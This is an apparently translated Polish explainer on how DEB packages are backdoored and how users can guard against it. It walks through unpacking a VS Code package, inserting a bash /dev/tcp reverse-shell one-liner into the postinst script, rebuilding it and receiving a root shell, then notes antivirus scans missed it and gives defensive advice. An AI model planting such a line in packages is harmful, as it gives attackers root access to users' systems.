W jaki sposób pakiety DEB są atakowane backdoorem i jak to wykryć

  • Pakiety DEB można łatwo wykorzystać backdoorem, umożliwiając atakującym wstrzyknięcie złośliwego kodu do systemu po ich zainstalowaniu z uprawnieniami roota.
  • Zainfekowane pakiety DEB są trudne do wykrycia, ponieważ mogą nie zostać oznaczone przez oprogramowanie antywirusowe lub rozwiązania w chmurze, takie jak VirusTotal.
  • Aby się zabezpieczyć, unikaj pobierania pakietów DEB z przypadkowych witryn, trzymaj się oficjalnych witryn pobierania lub witryn zaufanych przez społeczność i rozważ zainstalowanie narzędzi bezpieczeństwa, aby zabezpieczyć system Linux przed atakami sieciowymi.

Pliki DEB to pakiety oprogramowania, które są głównym formatem oprogramowania dostarczanego w dystrybucjach Linuksa opartych na Debianie.

Aby zainstalować pakiety DEB, musisz użyć menedżera pakietów, takiego jak dpkg, z uprawnieniami roota. Atakujący wykorzystują to i wprowadzają do tych pakietów backdoory. Kiedy instalujesz je za pomocą dpkg lub innego menedżera pakietów, złośliwy kod również jest wykonywany i zagraża Twojemu systemowi.

Przyjrzyjmy się dokładnie, w jaki sposób pakiety DEB są atakowane backdoorem i co możesz zrobić, aby się chronić.

W jaki sposób pakiety DEB są backdoorowane?

Zanim zrozumiesz, w jaki sposób pakiety DEB są backdoorowane, przyjrzyjmy się, co kryje się w pakiecie DEB. W celu demonstracji pobiorę pakiet DEB Microsoft Visual Studio Code z oficjalnej strony Microsoftu. Jest to ten sam pakiet, który możesz pobrać, jeśli chcesz zainstalować VS Code w systemie Linux.

Pobierać: Kod Visual Studio

Po pobraniu pakietu docelowego czas go rozpakować. Możesz rozpakować pakiet DEB za pomocą komendy dpkg-deb z flagą -R, po której następuje ścieżka do przechowywania zawartości:

 dpkg-deb -R <package_name> <path> 

Powinno to wyodrębnić zawartość pakietu VS Code.

Przechodząc do folderu, znajdziesz wiele katalogów, jednak nasze zainteresowanie leży tylko w katalogu DEBIAN. Ten katalog zawiera skrypty opiekuna, które są wykonywane podczas instalacji z uprawnieniami roota. Jak już zapewne zauważyłeś, osoby atakujące modyfikują skrypty w tym katalogu.

Na potrzeby demonstracji zmodyfikuję skrypt postinst i dodam prostą, jednowierszową odwrotną powłokę TCP w Bash. Jak sama nazwa wskazuje, jest to skrypt wykonywany po zainstalowaniu pakietu w systemie.

Zawiera polecenia finalizujące konfiguracje, takie jak konfigurowanie dowiązań symbolicznych, obsługa zależności i inne. W Internecie można znaleźć mnóstwo różnych odwróconych muszli. Większość z nich będzie działać tak samo. Oto przykładowa jednoliniowa odwrócona powłoka:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Wyjaśnienie polecenia:

  • bash: To jest polecenie wywołujące powłokę Bash.
  • -i: Flaga mówi Bashowi, aby działał w trybie interaktywnym, umożliwiając wykonywanie poleceń we/wy w czasie rzeczywistym.
  • >& /dev/tcp/ip/port: Przekierowuje standardowe wyjście i standardowe błędy do gniazda sieciowego, zasadniczo ustanawiając połączenie TCP z i .
  • 0>&1: Przekierowuje wejście i wyjście do tej samej lokalizacji, tj. do gniazda sieciowego.

Dla niewtajemniczonych, odwrotna powłoka to rodzaj kodu, który po wykonaniu na maszynie docelowej inicjuje połączenie z maszyną atakującego. Odwrotne powłoki to świetny sposób na ominięcie ograniczeń zapory sieciowej, ponieważ ruch jest generowany z komputera znajdującego się za zaporą.

Oto jak wygląda zmodyfikowany skrypt:

Jak widać, wszystko jest takie samo, ale dodana została tylko jedna linijka, czyli nasza odwrotna powłoka Bash. Teraz musisz ponownie skompilować pliki do formatu „.deb”. Po prostu użyj polecenia dpkg z flagą –build lub użyj dpkg-deb z flagą -b, po której podana jest ścieżka do wyodrębnionej zawartości:

 dpkg --build <directory>
dpkg-deb -b <directory>

Teraz pakiet DEB z backdoorem jest gotowy do wysłania na złośliwe strony. Zasymulujmy scenariusz, w którym ofiara pobiera pakiet DEB do swojego systemu i instaluje go jak każdy inny zwykły pakiet.

Górny panel terminala przeznaczony jest dla punktu widzenia ofiary, a dolny dla punktu widzenia atakującego. Ofiara instaluje pakiet za pomocą sudo dpkg -i, a atakujący cierpliwie nasłuchuje połączeń przychodzących za pomocą polecenia netcat w systemie Linux.

Zaraz po zakończeniu instalacji zauważ, że atakujący uzyskuje odwrotne połączenie z powłoką i ma teraz dostęp root do systemu ofiary. Teraz już wiesz, w jaki sposób pakiety DEB są backdoorowane. Dowiedzmy się teraz, jak możesz się chronić.

Jak wykryć, czy pakiet DEB jest złośliwy

Teraz, gdy już wiesz, że zainfekowane pakiety DEB są popularne, musisz się zastanawiać, jak znaleźć zainfekowane. Na początek możesz spróbować użyć oprogramowania antywirusowego dla systemu Linux, takiego jak ClamAV. Niestety, po uruchomieniu skanowania ClamAV pakietu nie oznaczono go jako złośliwego. Oto wynik skanowania:

Jeśli więc nie masz najlepszego rozwiązania antywirusowego (co nie gwarantuje, że nie zostaniesz zhakowany), wykrycie złośliwych pakietów DEB jest dość trudne. Spróbujmy skorzystać z rozwiązania w chmurze, takiego jak witryna VirusTotal:

Jak widać VirusTotal nie wykrył niczego niepokojącego. Cóż, jedynym sposobem ochrony przed takimi zagrożeniami jest przestrzeganie podstawowych zasad bezpieczeństwa, takich jak nie pobieranie plików z nieznanych źródeł, zawsze sprawdzanie skrótu pliku i ogólnie unikanie instalowania podejrzanego oprogramowania.

Internet jest pełen takich zagrożeń. Jedynym sposobem na surfowanie bez utraty danych jest zachowanie zdrowego rozsądku i przeglądanie zaufanych witryn. Dodatkowo w przypadku systemu Linux powinieneś także spróbować sprawdzić, czy pobierane oprogramowanie ma wersję AppImage, ponieważ jest ono niezależne i może działać w trybie piaskownicy, dzięki czemu nie ma kontaktu z systemem.

Nie pobieraj pakietów DEB z przypadkowych stron!

Pakiety DEB nie są same w sobie złe, jednak napastnicy mogą z łatwością je uzbroić i wysłać niczego niepodejrzewającym użytkownikom. Jak pokazano, pakiet DEB można łatwo otworzyć i zmodyfikować w celu dodania niestandardowego kodu za pomocą zaledwie kilku poleceń, co czyni go powszechnym wektorem przesyłania złośliwego oprogramowania.

Nawet proste backdoory w pakietach DEB nie są wychwytywane przez najlepsze rozwiązania antywirusowe. Dlatego najlepiej jest zachować ostrożność, kierować się zdrowym rozsądkiem podczas surfowania po Internecie i zawsze pobierać oprogramowanie wyłącznie z oficjalnych witryn pobierania lub witryn zaufanych przez społeczność.

Teraz, gdy jesteś świadomy zagrożeń bezpieczeństwa związanych z instalacją pakietów DEB z nowych lub nieznanych witryn, powinieneś zachować ostrożność podczas instalowania nowego oprogramowania. Jednak samo uważanie na to, co instalujesz, nie wystarczy. Twój system Linux może być również celem ataków sieciowych.

Aby mieć pewność, że jesteś bezpieczny w przypadku ataku sieciowego, powinieneś rozważyć zainstalowanie narzędzi zabezpieczających sieć.